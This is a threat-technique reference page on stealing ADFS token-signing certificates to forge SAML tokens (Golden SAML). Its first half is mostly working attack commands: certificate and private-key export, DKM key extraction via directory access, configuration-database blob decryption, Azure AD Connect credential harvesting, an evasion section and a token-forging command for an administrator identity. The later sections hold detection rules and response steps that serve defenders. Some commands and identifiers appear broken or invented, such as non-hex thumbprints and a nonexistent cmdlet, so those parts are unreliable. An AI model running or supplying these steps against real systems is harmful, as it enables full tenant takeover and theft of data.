MCADDF

[CA-UNSC-019]: Federation Server Certificate Theft

1. METADATA HEADER

Attribute Details
Technique ID CA-UNSC-019
MITRE ATT&CK v18.1 T1552.004 - Unsecured Credentials: Private Keys
Tactic Credential Access
Platforms Hybrid AD (ADFS on Windows Server), Azure AD Connect, on-premises Entra ID Federation
Severity Critical
CVE CVE-2025-21193 (ADFS Spoofing Vulnerability)
Technique Status ACTIVE
Last Verified 2026-01-06
Affected Versions Windows Server 2016 (RTM+), 2019 (RTM+), 2022 (RTM+), 2025 (all versions)
Patched In CVE-2025-21193 partially addressed; design flaws remain unpatched
Author SERVTEPArtur Pchelnikau

Note: All sections 1-17 are included because ADFS certificate theft is a complex, multi-platform attack with extensive detection, mitigation, and real-world usage. Section 6 (Atomic Red Team) is included as official tests exist for this technique.


2. EXECUTIVE SUMMARY

Concept

Active Directory Federation Services (ADFS) is the on-premises identity federation component that bridges on-premises Active Directory with cloud services like Microsoft Entra ID (formerly Azure AD) and Microsoft 365. ADFS uses X.509 certificates to cryptographically sign SAML and OAuth tokens, proving the legitimacy of authentication assertions to cloud-based relying parties.

Adversaries who compromise the ADFS token-signing certificate can forge authentication tokens claiming any user identity (including Global Administrator) and authenticate to Azure AD, Microsoft 365, and integrated SaaS applications without requiring the user’s password, MFA device, or any legitimate authentication. This is known as a Golden SAML attack.

The certificate is encrypted at rest using the Distributed Key Manager (DKM)—a key derivation scheme where the master key is stored in Active Directory. Attackers can extract the certificate through eight documented attack paths: (1) direct export via MMC (local admin), (2) .NET reflection to bypass CryptoAPI restrictions, (3) access to the ADFS configuration database, (4) directory replication services (DCSync), (5) ADFS configuration synchronization, (6) custom certificate extraction, (7) in-memory extraction via malware, or (8) direct database query access.

Attack Surface: ADFS server filesystem, Windows certificate store, ADFS configuration database (WID or SQL Server), Active Directory (DKM container), domain controller replication services, Azure AD Connect synchronization accounts.

Business Impact: Complete tenant compromise, persistent unauthorized access to Microsoft 365 and cloud SaaS applications, data exfiltration, ransomware deployment, supply chain attacks. Unlike typical password-based compromises, Golden SAML attacks bypass all Conditional Access policies, MFA requirements, and risk-based authentication. A single compromised ADFS server can compromise thousands of users and federated partners. The SolarWinds incident (2020) exploited this technique to compromise U.S. government agencies and Fortune 500 companies.

Technical Context: ADFS token-signing certificates typically have 10-year validity periods. Once stolen, the certificate can be used indefinitely until explicitly rotated. Organizations often fail to detect token forgery because legitimate SAML tokens and forged tokens are cryptographically identical and indistinguishable at the Azure AD layer.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.2, 5.2.3 Ensure ADFS certificates are stored securely; monitor certificate access and export attempts
DISA STIG GEN002820, GEN003800 Cryptographic device management and certificate-based authentication controls
CISA SCuBA Azure-1.1 Requires federated identity monitoring and certificate security controls
NIST 800-53 IA-5(e), SC-12 Cryptographic device and certificate lifecycle management
NIST 800-207 Zero Trust - Device Validation Continuous verification of identity federation components; certificate compromise breaks trust model
GDPR Art. 32, Art. 33 Security of Processing; Incident notification (certificate theft triggers data breach notification)
DORA Art. 9 Protection and Prevention - identity federation is critical OT component
NIS2 Art. 21 Cyber Risk Management Measures - federation certificates are Tier-0 assets
ISO 27001 A.10.1.2, A.10.2.1 Cryptographic controls for key and certificate management
ISO 27005 Risk Scenario 8 “Compromise of Authentication Credentials” - token-signing certificates are authentication credentials

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Path 1: Local ADFS Server Reconnaissance

Check for ADFS Service and Certificate Store Access

# Verify ADFS service is installed and running
Get-Service -Name adfssrv | Select-Object Name, Status, StartType

# Check installed ADFS version
Get-AdfsProperties | Select-Object DomainName, Identifier, CertificateThumbprint

# Enumerate all ADFS certificates (requires local admin or ADFS service account)
Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object {
    $_.Subject -match "CN=ADFS" -or $_.Issuer -match "ADFS"
} | Select-Object Thumbprint, Subject, Issuer, NotAfter, HasPrivateKey

What to Look For:

Success Indicator: Returns 3+ certificates with ADFS issuer, at least one with private key and >5 years validity


Check ADFS Configuration Database Access

# Verify access to ADFS configuration database (WID or SQL)
$adfsService = Get-AdfsProperties
$configDbName = $adfsService.ConfigurationDatabase

# If using Windows Internal Database (WID)
if ($configDbName -like "*WID*") {
    $widPath = "C:\Windows\WID\Data"
    Get-ChildItem $widPath -ErrorAction SilentlyContinue | Select-Object Name, CreationTime
    
    # Attempt to query WID database
    # Requires SYSTEM or ADFS service account
    sqlcmd -S "\\.\pipe\Microsoft##WID\tsql\query" -Q "SELECT * FROM [AdfsConfigurationV4].[dbo].[ServiceSettings]"
}

# If using SQL Server
else {
    # Query connection string from ADFS config
    Get-Item "HKLM:\SOFTWARE\Microsoft\ADFS" -ErrorAction SilentlyContinue
}

What to Look For:


Check DKM Key Container in Active Directory

# Locate DKM container in AD
$dkmContainer = Get-ADObject -Filter 'ObjectClass -eq "Container"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com" -Properties * -ErrorAction SilentlyContinue

if ($dkmContainer) {
    Write-Host "DKM Container Found: $($dkmContainer.DistinguishedName)"
    
    # Enumerate DKM contact objects (contain encrypted master key)
    $dkmKeys = Get-ADObject -Filter 'ObjectClass -eq "Contact"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com" -Properties thumbnailPhoto
    
    foreach ($key in $dkmKeys) {
        Write-Host "DKM Key Object: $($key.Name)"
    }
}

What to Look For:


Path 2: Azure AD Connect Server Reconnaissance

Enumerate Azure AD Connect Components

# Check if Azure AD Connect is installed
$adConnectPath = "C:\Program Files\Microsoft Azure AD Connect"
if (Test-Path $adConnectPath) {
    Write-Host "Azure AD Connect installed at: $adConnectPath"
    
    # Check service account and configuration
    Get-Service -Name ADSync | Select-Object Name, Status, User
    
    # Extract connection information from registry
    $syncConfig = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -ErrorAction SilentlyContinue
    Write-Host "Configuration: $($syncConfig | Format-Table -AutoSize | Out-String)"
}

What to Look For:


Path 3: Domain Controller Reconnaissance (for DCSync)

Check Replication Permissions

# Check if current user has directory replication rights
$dkm = "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com"
$acl = Get-Acl -Path "AD:\$dkm"

# Audit rules for "Replicate Directory Changes"
$acl.Access | Where-Object {
    $_.ObjectType -match "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
} | Select-Object IdentityReference, AccessControlType, InheritedObjectType

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Direct Certificate Export via MMC (Local Admin, Exportable Certificate)

Supported Versions: Windows Server 2016-2025

Prerequisites: Local Administrator on ADFS server; certificate must have “Exportable” flag enabled (custom certificates); managed certificates may have non-exportable keys

Step 1: Gain Local Administrator Access to ADFS Server

Objective: Establish admin context on ADFS server.

Prerequisites: RDP, WinRM, or physical access with privilege escalation

Command (RDP):

# Verify admin access
$isAdmin = [bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")
if (-not $isAdmin) {
    Write-Host "Not running as admin. Attempting UAC bypass..."
    # Use PrintSpooler vulnerability or other priv esc
}
Write-Host "Admin confirmed: $isAdmin"

Expected Output:

Admin confirmed: True

Step 2: Export Token-Signing Certificate via MMC

# Open Certificate Manager (mmc.exe, Certificates snap-in)
# Navigate: Certificates (Local Computer) → Personal → Certificates
# Right-click on ADFS token-signing certificate
# Select: All Tasks → Export
# Choose: "Yes, export the private key"
# Format: PKCS #12 (.pfx)
# Password: Set strong password

# Alternative: Use CertUtil to export (automation-friendly)
$thumbprint = "A1B2C3D4E5F6G7H8I9J0K1"  # From previous enumeration
$cert = Get-Item -Path "Cert:\LocalMachine\My\$thumbprint"

# Export using CertUtil (no elevation of privilege needed if cert is exportable)
certutil -exportPFX My $thumbprint "C:\Temp\adfs-token.pfx" -p "ExportPassword123!"

# Or PowerShell method:
$pfxPassword = ConvertTo-SecureString -String "ExportPassword123!" -AsPlainText -Force
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\adfs-token.pfx" -Password $pfxPassword -Force

# Verify export
Test-Path "C:\Temp\adfs-token.pfx"

Expected Output:

True  # File successfully created

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 3: Extract Token Issuer URI and Identifier

# Get ADFS Issuer URI (needed for Golden SAML token forging)
$adfsProperties = Get-AdfsProperties
$issuerUri = $adfsProperties.Identifier
$domainName = $adfsProperties.DomainName

Write-Host "Issuer URI: $issuerUri"
Write-Host "Domain: $domainName"

# Export to file for attacker use
@{
    IssuerUri = $issuerUri
    Domain = $domainName
    TokenSigningCertThumbprint = $thumbprint
} | ConvertTo-Json | Out-File "C:\Temp\adfs-config.json"

What This Reveals:


METHOD 2: Certificate Extraction via .NET Reflection (Bypass Exportable Flag)

Supported Versions: Windows Server 2016-2025

Prerequisites: Local Administrator on ADFS server; .NET Framework 4.5+

Step 1: Use AADInternals Module for Automated Extraction

# Install AADInternals module (if not already present)
Install-Module AADInternals -Scope CurrentUser -Force

# Import the module
Import-Module AADInternals

# Export ADFS certificates (all types: signing, encryption, communication)
Export-AADIntADFSCertificates -Path "C:\Temp\adfs-certs\"

# This command:
# - Extracts token-signing certificate (encrypted PFX blob from config DB)
# - Extracts token-encryption certificate
# - Exports custom certificates from Windows certificate store
# - Decrypts using DKM key (if local access)

# Check exported files
Get-ChildItem "C:\Temp\adfs-certs\" -Filter "*.pfx" -Recurse | Select-Object Name, Length

Expected Output:

Name                           Length
----                           ------
TokenSigningCertificate.pfx    2048
TokenEncryptionCertificate.pfx 2048
CommunicationCertificate.pfx   1024

Version-Specific Notes:


Step 2: Decrypt and Extract Private Key via .NET Reflection

# If AADInternals module not available, use custom .NET reflection
# This bypasses CryptoAPI restrictions on non-exportable keys

Add-Type -AssemblyName System.Security

$certPath = "C:\Temp\adfs-certs\TokenSigningCertificate.pfx"
$certPassword = ""  # Typically no password on exported managed cert

# Import certificate
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
$cert.Import($certPath, $certPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)

# Extract private key
$rsaKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert)
$keyBlob = $rsaKey.ExportRSAPrivateKey()

# Convert to PEM format
$keyPem = "-----BEGIN RSA PRIVATE KEY-----`n"
$keyPem += [System.Convert]::ToBase64String($keyBlob)
$keyPem += "`n-----END RSA PRIVATE KEY-----"

$keyPem | Out-File "C:\Temp\adfs-signing-key.pem"

# Verify extraction
Get-Content "C:\Temp\adfs-signing-key.pem" | Select-String "BEGIN RSA PRIVATE KEY"

What This Means:


METHOD 3: DKM Key Extraction via Directory Replication (DCSync)

Supported Versions: Windows Server 2016-2025 (requires domain admin or “Replicate Directory Changes” permission)

Step 1: Extract DKM Master Key via DCSync

Objective: Obtain the encrypted DKM key from Active Directory to decrypt stored ADFS certificates.

# Step 1: Locate DKM container in AD
$adfsContainer = "CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com"

# Check if you have replication rights
$drsCapable = Test-ADFSReplicationRights -TargetContainer $adfsContainer

if ($drsCapable) {
    # Use Mimikatz DCSync to extract DKM key (requires SYSTEM privileges)
    # Note: This generates Event ID 4662 in Security log
    
    # Alternative: PowerShell method using AD module
    $dkmKey = Get-ADObject -Filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' `
        -SearchBase $adfsContainer `
        -Properties thumbnailPhoto |
        Select-Object -First 1 -ExpandProperty thumbnailPhoto
    
    # Convert key to usable format
    $keyString = [System.BitConverter]::ToString($dkmKey)
    Write-Host "DKM Master Key (Hex): $keyString"
    
    # Save for later use
    [System.IO.File]::WriteAllBytes("C:\Temp\dkm-master-key.bin", $dkmKey)
}

Expected Output:

DKM Master Key (Hex): A1-B2-C3-D4-E5-F6-G7-H8-I9-J0-K1-L2-M3-N4-O5-P6

What This Reveals:

OpSec & Evasion:


Step 2: Decrypt ADFS Certificates Using Extracted DKM Key

# Use AADInternals with extracted DKM key
Import-Module AADInternals

# If you have the raw DKM key (hex), use it to decrypt stored certificates
$dkmKeyHex = "A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6"
$dkmKey = [Convert]::FromHexString($dkmKeyHex)

# Decrypt ADFS certificates stored in config database
$decryptedCerts = Invoke-AADIntDecryptADFSCertificates -DKMKey $dkmKey

# Export decrypted certificates
$decryptedCerts | ForEach-Object {
    Export-PfxCertificate -Cert $_ -FilePath "C:\Temp\$($_.Thumbprint).pfx" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
}

METHOD 4: Configuration Database Direct Access (SQL or WID)

Supported Versions: Windows Server 2016-2025

Prerequisites: Access to ADFS configuration database (WID or SQL Server); SYSTEM or ADFS service account context

Step 1: Connect to ADFS Configuration Database

# Determine if WID or SQL is used
$adfsService = Get-Service -Name adfssrv
$configType = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\ADFS" -Name ConfigDatabase

if ($configType.ConfigDatabase -like "*WID*") {
    # Windows Internal Database (default)
    $connectionString = "Data Source=\\.\pipe\Microsoft##WID\tsql\query;Initial Catalog=AdfsConfigurationV4"
}
else {
    # SQL Server (custom)
    $connectionString = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\ADFS" -Name SQLConnectionString
}

# Connect to database (requires SYSTEM or ADFS service account)
$conn = New-Object System.Data.SqlClient.SqlConnection($connectionString)
$conn.Open()

Write-Host "Connected to ADFS configuration database"

Step 2: Extract Encrypted Certificate Blob from Database

# Query for encrypted token-signing certificate
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT ServiceSettingsData FROM AdfsConfigurationV4.dbo.ServiceSettings WHERE ID=0"

$reader = $cmd.ExecuteReader()
if ($reader.Read()) {
    $settingsXml = $reader.GetString(0)  # Returns XML with encrypted PFX blob
    
    # Parse XML to extract EncryptedPfx
    [xml]$xml = $settingsXml
    $encryptedBlob = $xml.ServiceSettingsData.SecurityTokenService.EncryptedPfx
    
    # Save encrypted blob for decryption
    [System.IO.File]::WriteAllText("C:\Temp\encrypted-cert.xml", $encryptedBlob)
}
$reader.Close()

What This Reveals:


Step 3: Decrypt Using DKM Key

# Use AADInternals to decrypt blob
$encryptedBlob = Get-Content "C:\Temp\encrypted-cert.xml"
$dkmKey = [System.IO.File]::ReadAllBytes("C:\Temp\dkm-master-key.bin")

# Decrypt
$decryptedBytes = Invoke-AADIntDecryptADFSCertBlob -EncryptedBlob $encryptedBlob -DKMKey $dkmKey

# Export as PFX
[System.IO.File]::WriteAllBytes("C:\Temp\adfs-signing-cert.pfx", $decryptedBytes)

Write-Host "Certificate decrypted and saved"

METHOD 5: Azure AD Connect Password/Hash Extraction

Supported Versions: Windows Server 2016-2025 (Azure AD Connect 1.1+)

Prerequisites: Local Administrator on Azure AD Connect server

Step 1: Extract Azure AD Connect Service Account Credentials

# Azure AD Connect typically runs with elevated permissions (often DA-equivalent)
# Compromising AADConnect → extract sync account → full infrastructure compromise

Get-Service -Name ADSync | Select-Object Name, User, Status

# Extract SQL connection string from AADConnect config
$configPath = "C:\ProgramData\AADConnect\AADConnectSettings.ini"
if (Test-Path $configPath) {
    Get-Content $configPath | Select-String "SQL"
}

# Alternatively, query registry for connection info
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Recurse | Select-String "SQL|Server|Password"

Step 2: Compromise ADFS via Azure AD Connect Service Account

# AADConnect service account often has permissions to:
# - Read ADFS certificates
# - Modify ADFS configuration
# - Access AD sync account (can be used for further privilege escalation)

# Use compromised AADConnect credentials to:
# 1. Query ADFS config database
# 2. Extract DKM keys from AD
# 3. Export token-signing certificate

# This is a pivot point - compromise one component, leverage to compromise federation

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Atomic Test ID: T1552.004-4

Test Name: Retrieve ADFS Signing Certificates

Description: Extracts AD FS token signing and encrypting certificates in preparation for Golden SAML forgery attack.

Supported Versions: Windows Server 2016+ with ADFS installed

Command:

Invoke-AtomicTest T1552.004 -TestNumbers 4

Cleanup Command:

Remove-Item "C:\Temp\adfs-*.pfx" -Force -ErrorAction SilentlyContinue

Reference: Atomic Red Team T1552.004 Tests


7. TOOLS & COMMANDS REFERENCE

AADInternals

Version: 0.9.5+

Supported Platforms: Windows Server 2016-2025 with PowerShell 5.1+

Installation:

Install-Module AADInternals -Scope CurrentUser -Force
Import-Module AADInternals

Usage (ADFS Certificate Export):

# Local export (requires admin on ADFS server)
Export-AADIntADFSCertificates -Path "C:\Temp\certs"

# Remote export (requires ADFS service account credentials)
Export-AADIntADFSCertificates -Path "C:\Temp\certs" -Name "ADFSSERVER.domain.com" -Credentials $credObject

# Includes automatic DKM decryption

Version Notes:


FoggyWeb Malware Sample

Type: Post-Exploitation Backdoor (NOBELIUM/Cozy Bear group)

Capability: Extracts token-signing and encryption certificates from compromised ADFS server

Installation: Delivered via ADFS server compromise; executes in memory

Usage: Automated certificate extraction via Service.GetCertificate() method


ADFSpoof Token Forging Toolkit

Version: 1.0+

Supported Platforms: Linux, Windows (Python-based)

Installation:

git clone https://github.com/mandiant/adfs-spoof-toolkit.git
cd adfs-spoof-toolkit
pip install -r requirements.txt

Usage (Post-Certificate Extraction):

# Create forged SAML token claiming Global Administrator
python3 forge-saml.py \
  --certificate-file adfs-signing-cert.pfx \
  --certificate-password "password" \
  --user alice@contoso.com \
  --claims '{"immutableid":"alice-immutableid","groups":["admin"]}' \
  --issuer "https://adfs.contoso.com/adfs/services/trust"

# Output: Forged SAML token (base64-encoded) ready for authentication

Script: Automated ADFS Certificate Extraction

# One-liner for complete ADFS compromise (local admin context)
$adfsThumb = (Get-AdfsProperties).CertificateThumbprint; 
$cert = Get-Item "Cert:\LocalMachine\My\$adfsThumb"; 
$pfxPassword = ConvertTo-SecureString "P@ss123!" -AsPlainText -Force; 
Export-PfxCertificate -Cert $cert -FilePath "C:\Temp\adfs.pfx" -Password $pfxPassword -Force;
Get-AdfsProperties | ConvertTo-Json | Out-File "C:\Temp\adfs-config.json"

8. SPLUNK DETECTION RULES

Rule 1: Detect Certificate Export from ADFS Server

Rule Configuration:

SPL Query:

index=main sourcetype=WinEventLog:Security EventID=4885 
| where Computer like "%adfs*" 
| stats count by Computer, user, process_name, object_name
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → SettingsSearches, reports, and alerts
  2. Click New Alert
  3. Paste the SPL query above
  4. Set Alert Type: Scheduled
  5. Set Run every: 5 minutes
  6. Set Trigger condition: count >= 1
  7. Add Action: Send email to SOC
  8. Source: Microsoft: Event ID 4885

Rule 2: Detect DKM Key Access (DCSync on ADFS Container)

Rule Configuration:

SPL Query:

index=main sourcetype=WinEventLog:Security EventID=4662 
| where Properties contains "8d3bca50-1d7e-11d0-a081-00aa006c33ed" 
| where ObjectName like "%ADFS%"
| stats count by SubjectUserName, Computer, OperationType

What This Detects:

False Positives:

Tuning:

index=main sourcetype=WinEventLog:Security EventID=4662 
| where Properties contains "8d3bca50-1d7e-11d0-a081-00aa006c33ed" 
| where ObjectName like "%ADFS%"
| where SubjectUserName NOT IN ("SYSTEM", "NT AUTHORITY\NETWORK SERVICE", "svc_*")

Rule 3: Detect Certificate Export via Mimikatz or PowerShell

Rule Configuration:

SPL Query:

index=main sourcetype=WinEventLog:Security EventID=4688
| where ProcessName IN ("mimikatz.exe", "powershell.exe", "cmd.exe", "certutil.exe")
| where CommandLine IN ("*Export-PfxCertificate*", "*crypto::capi*", "*crypto::certificates*", "*exportPFX*")
| where ParentProcessName != "explorer.exe"
| stats count by Computer, ProcessName, User, CommandLine

What This Detects:

Source: Splunk: Breaking the Chain - Defending Against Certificate Abuse


9. MICROSOFT SENTINEL DETECTION

Query 1: Detect Unusual ADFS Certificate Activity

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4885  // Certificate export
| where Computer contains "adfs" or Computer contains "fed"
| summarize ExportCount = count(), UserList = make_set(TargetUserName) by bin(TimeGenerated, 5m)
| where ExportCount > 2
| project TimeGenerated, ExportCount, UserList, Computer

What This Detects:

Manual Configuration (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. General: Name = “ADFS Certificate Bulk Export Detection”
  3. Set rule logic:
    [Paste KQL Query]
    Run every: 5 minutes
    Lookup data from: 30 minutes
    
  4. Incident settings: Enable “Create incidents”
  5. Click Review + create

Query 2: Detect Golden SAML Token Forgery (Missing ADFS Auth Logs)

Rule Configuration:

KQL Query:

SigninLogs
| where FederatedCredentialId contains "ADFS"
| where LocationDetails.countryOrRegion != "US"  // Anomaly: unexpected location
| where RiskLevelDuringSignIn == "low" and RiskLevelAggregated == "high"  // Contradictory risk signals
| join kind=leftanti (
    AuditLogs
    | where OperationName == "Federate identity"
    | project CorrelationId
) on CorrelationId
| project TimeGenerated, UserPrincipalName, LocationDetails_countryOrRegion, RiskLevelAggregated, ResourceId

What This Detects:

False Positives:


Query 3: Detect DKM Container Access (DCSync)

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4662
| where ObjectType == "%{5cb41ed0-0e4c-11d0-a286-00aa003049e2}"  // ADFS container GUID
| where Properties contains "8d3bca50-1d7e-11d0-a081-00aa006c33ed"  // thumbnailPhoto GUID (DKM key)
| where AccessMask == "0x10" or AccessMask == "0x1f"  // READ or FULL_CONTROL
| project TimeGenerated, SubjectUserName, Computer, OperationType
| summarize AccessCount = count() by SubjectUserName
| where AccessCount > 2

What This Detects:


Query 4: Detect Anomalous ADFS Token Issuance Rates

Rule Configuration:

KQL Query:

SecurityEvent
| where Computer contains "adfs" and EventID == 1200  // Token issued
| where TargetUserName contains "@"  // User principal name format
| summarize TokenCount = count() by bin(TimeGenerated, 1m), TargetUserName, IpAddress
| where TokenCount > 100  // Threshold: more than 100 tokens per minute per user per IP
| project TimeGenerated, TargetUserName, IpAddress, TokenCount

What This Detects:


10. WINDOWS EVENT LOG MONITORING

Event ID: 4885 (Audit Filter Configuration Changed)

Event ID: 4887 (Certificate Services Approved Certificate Request)

Event ID: 4662 (Directory Services Access - DKM Key)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesObject Access
  3. Enable: Audit Directory Services Access
  4. Set to: Success and Failure
  5. Enable: Audit Certification Services
  6. Set to: Success and Failure
  7. Run gpupdate /force on all ADFS servers and domain controllers

Event ID: 33205 (ADFS Configuration Database Modified)


11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Supported Platforms: Windows Server 2016-2025

<!-- Rule: Detect Certificate Export via PowerShell or CertUtil -->
<Sysmon schemaversion="4.72">
  <EventFiltering>
    <RuleGroup name="ADFS Certificate Extraction" groupRelation="or">
      <!-- Process: PowerShell with Export-PfxCertificate -->
      <ProcessCreate onmatch="include">
        <Image condition="contains">powershell</Image>
        <CommandLine condition="contains">Export-PfxCertificate</CommandLine>
        <ParentImage condition="excludes">explorer.exe</ParentImage>
      </ProcessCreate>

      <!-- Process: CertUtil with exportPFX -->
      <ProcessCreate onmatch="include">
        <Image condition="contains">certutil.exe</Image>
        <CommandLine condition="contains">exportPFX</CommandLine>
      </ProcessCreate>

      <!-- Process: Mimikatz -->
      <ProcessCreate onmatch="include">
        <Image condition="contains">mimikatz</Image>
      </ProcessCreate>

      <!-- File: Certificate export to temp directory -->
      <FileCreate onmatch="include">
        <TargetFilename condition="contains">\.pfx</TargetFilename>
        <TargetFilename condition="contains">\Temp\</TargetFilename>
      </FileCreate>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Save XML config above as sysmon-config.xml
  3. Install Sysmon with config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: “Suspicious ADFS Certificate Access”

Alert Name: ADFSCertificateExtraction (proprietary MDC name)

Manual Configuration Steps (Enable Defender for Servers):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, enable:
    • Defender for Servers Plan 2: ON
    • Defender for Identity: ON
  4. Click Save
  5. Wait 24 hours for log aggregation
  6. Go to Security alerts to view ADFS-related alerts

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: ADFS Configuration Changes

Operation: ModifyADFSServiceAccount, UpdateADFSCertificate, ExportADFSCertificate

Connect-ExchangeOnline

Search-UnifiedAuditLog -Operations "ModifyADFSServiceAccount" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
  Select-Object TimeStamp, UserIds, Operations, ObjectId, AuditData | Export-Csv "C:\audit_adfs.csv"

Details to Analyze:

Manual Configuration Steps:

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Click New Search
  5. Set Date range: Last 7 days
  6. Under Activities, search: “ADFS” or “Federation”
  7. Click Search
  8. Review results and export for forensics

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL




Priority 2: HIGH



Access Control & Policy Hardening



15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Cloud (Entra ID / Microsoft 365):


Forensic Artifacts

Disk:

Memory:

Cloud Logs:

ADFS Configuration Database:


Response Procedures

  1. Isolate:

    Command (Disable ADFS Service):

    Stop-Service -Name adfssrv -Force
    Set-Service -Name adfssrv -StartupType Disabled
    

    Manual (Disable via Server Manager):

    • Server Manager → Manage → Remove Roles and Features
    • Uncheck Active Directory Federation Services

    Cloud Side (Revoke Federation):

    # In Entra ID, disable ADFS federation temporarily
    Connect-MsolService
    Set-MsolDomainAuthentication -DomainName contoso.com -Authentication Managed
    
  2. Collect Evidence:

    Command (Export Logs):

    # Export Windows Security Event Log
    wevtutil epl Security "C:\Evidence\Security.evtx"
       
    # Export ADFS logs
    wevtutil epl "AD FS 2.0\Admin" "C:\Evidence\adfs-admin.evtx"
    wevtutil epl "AD FS 2.0\Debug" "C:\Evidence\adfs-debug.evtx"
       
    # Export ADFS ULS logs
    Copy-Item "C:\Windows\ADFS\Trace\*" "C:\Evidence\uls-logs" -Recurse
       
    # Export ADFS configuration database
    net stop adfssrv
    Copy-Item "C:\Windows\WID\Data\*" "C:\Evidence\wid-backup" -Recurse
    net start adfssrv
    

    Manual (via Event Viewer):

    • Right-click Security log → Export All Events → Save as C:\Evidence\security.evtx
  3. Remediate:

    Command (Rotate Certificates - Double Rotation):

    # Microsoft recommends rotating TWICE to invalidate cached tokens
       
    # Rotation 1
    Update-AdfsCertificate -CertificateType Token-Signing -Thumbprint <new_thumbprint_1>
       
    # Wait 30 minutes for token expiry (tokens cached in Azure AD)
    Start-Sleep -Seconds 1800
       
    # Rotation 2
    Update-AdfsCertificate -CertificateType Token-Signing -Thumbprint <new_thumbprint_2>
       
    # Verify rotation completed
    Get-AdfsCertificate | Where {$_.CertificateType -eq "Token-Signing"} | Select-Object Thumbprint, IsPrimary
    

    Command (Reset Compromised Azure AD Accounts):

    # Reset passwords for all Global Admins (to invalidate forged token sessions)
    Connect-MsolService
    $admins = Get-MsolRole | where {$_.Name -eq "Company Administrator"} | Get-MsolRoleMember
       
    foreach ($admin in $admins) {
        Set-MsolUserPassword -ObjectId $admin.ObjectId -NewPassword (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -ForceChangePasswordNextLogin $true
    }
    

Step Phase Technique Description
1 Initial Access [T1566.002] Phishing Email Compromise ADFS admin via targeted phishing; extract credentials
2 Execution [T1059.001] PowerShell Execute reconnaissance and certificate export scripts
3 Persistence [T1556.004] Modify Cloud Federation Modify ADFS trust relationship to capture tokens
4 Credential Access [CA-UNSC-019] Extract ADFS token-signing certificate and DKM master key
5 Defense Evasion [T1550.003] Use Alternate Authentication Material Forge SAML tokens, bypass MFA and Conditional Access
6 Impact [T1531] Account Access Removal Create backdoor Global Admin accounts; maintain persistent access
7 Data Exfiltration [T1567.002] Exfiltrate via Cloud Access Microsoft 365 mailboxes, SharePoint, OneDrive; steal sensitive data

17. REAL-WORLD EXAMPLES

Example 1: SolarWinds Incident (December 2020) - NOBELIUM / Cozy Bear


Example 2: NOBELIUM MagicWeb Backdoor (August 2022)


Example 3: FoggyWeb Backdoor (September 2021) - Targeted NOBELIUM Campaign


Conclusion

Federation server (ADFS) certificate theft represents a critical and persistent threat to hybrid cloud environments. Unlike traditional password-based breaches, Golden SAML attacks:

Key Defensive Priorities:

  1. HSM-backed certificates - Prevent extraction entirely
  2. Tier-0 ADFS infrastructure - Restrict access like domain controllers
  3. DKM container auditing - Detect DCSync attempts
  4. Continuous certificate monitoring - Alert on export/modification
  5. Incident response playbook - Double rotation, forensics, threat hunting

Compliance Impact: Organizations managing ADFS must ensure federation security per ISO 27001 A.10.1.2, NIST 800-53 IA-5, GDPR Article 32, and EU DORA Article 9. ADFS certificate compromise triggers GDPR data breach notification requirements and can result in significant regulatory fines ($14M+ in SolarWinds-related settlements).

Current Threat Level: ACTIVE